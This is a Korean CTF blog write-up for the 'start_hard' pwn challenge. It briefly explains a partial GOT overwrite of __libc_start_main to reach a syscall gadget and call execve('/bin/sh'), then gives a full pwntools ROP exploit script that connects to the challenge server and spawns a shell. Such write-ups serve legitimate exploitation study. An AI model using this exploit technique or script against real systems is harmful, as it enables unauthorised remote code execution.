쓸 수 있는 함수는 read뿐이고
partitial RELRO와 NX가 걸려있다.
떠올린 것은 read_got나 libc_start_main의 got의 1바이트를 덮어서
이 함수들을 syscall의 주소를 가리키게 한다.
무슨 말이냐면 예를들어서 libc_start_main=0x7f123456이라고 하면 이함수도 내부에 syscall 부분이 존재한다
그부분이 0x7f1234aa라고 하자
그러면 libc_start_main을 1바이트 덮어서 0x7f1234aa로 만들어서 이함수를 호출하면 syscall이 바로 호출되는 것이다.
그렇게 got를 덮어쓰고 rdi를 /bin/sh주소로 맞춰주고 rax를 execve 번호로 맞춰주고 호출한다.
from pwn import * import time #r=process('start_hard_c8b452f5aab9a474dcfe1351ec077a601fdf8249') r=remote('128.199.152.175',10001) #raw_input() readplt=0x400400 ppppppr=0x4005ba #pop rbx rbp r12131415 ret poprsi=0x4005c1 poprdi=0x4005c3 pay='AAAA'*4 pay+='BBBBBBBB' readgot=0x601018 lsmgot=0x601020 bss=0x601038 lsmplt=0x400410 pay+=p64(ppppppr) pay+=p64(8) pay+=p64(0)*5 pay+=p64(poprsi) pay+=p64(bss) pay+=p64(0) pay+=p64(poprdi) pay+=p64(0) pay+=p64(readplt) pay+=p64(ppppppr) pay+=p64(2) pay+=p64(0)*5 pay+=p64(poprsi) pay+=p64(lsmgot) pay+=p64(0) pay+=p64(poprdi) pay+=p64(0) pay+=p64(readplt) pay+=p64(ppppppr) pay+=p64(59) pay+=p64(0)*5 pay+=p64(poprsi) pay+=p64(bss+0x10) pay+=p64(0) pay+=p64(poprdi) pay+=p64(0) pay+=p64(readplt) pay+=p64(ppppppr) ##pop rbx rbp r12131415 ret pay+=p64(0) pay+=p64(0) pay+=p64(lsmgot) pay+=p64(0) pay+=p64(0) pay+=p64(bss) pay+=p64(poprdi) pay+=p64(bss) #/bin/sh pay+=p64(poprsi) pay+=p64(0) #&/bin/sh pay+=p64(bss) pay+=p64(0x4005A0) #syscall r.sendline(pay) time.sleep(0.5) r.sendline('/bin/sh\x00') #r.interactive() #raw_input() time.sleep(0.5) r.send('\xa4\x78') #libcstartmain->syscall #raw_input() time.sleep(0.5) r.send(p64(bss)+p64(0)+'A'*(59-16)) time.sleep(0.2) r.sendline('id') if r.recv(): r.interactive() #r.interactive() #except EOFError: # log.info('----EOF') # r.close() #r.interactive() #r.sendline('AAAA') ''' r.sendline('id') if r.recv(1): r.interactive() '''
'CTF' 카테고리의 다른 글
asis secured portal (0) | 2017.04.13 |
---|---|
[asisctf]wandere bits (0) | 2017.04.12 |
[VolgaCTF]guessing_game 200pt (8) | 2017.03.25 |
[codegate 2017 prequal]hunting (0) | 2017.02.13 |
[codegate17 prequal]hello protector (0) | 2017.02.12 |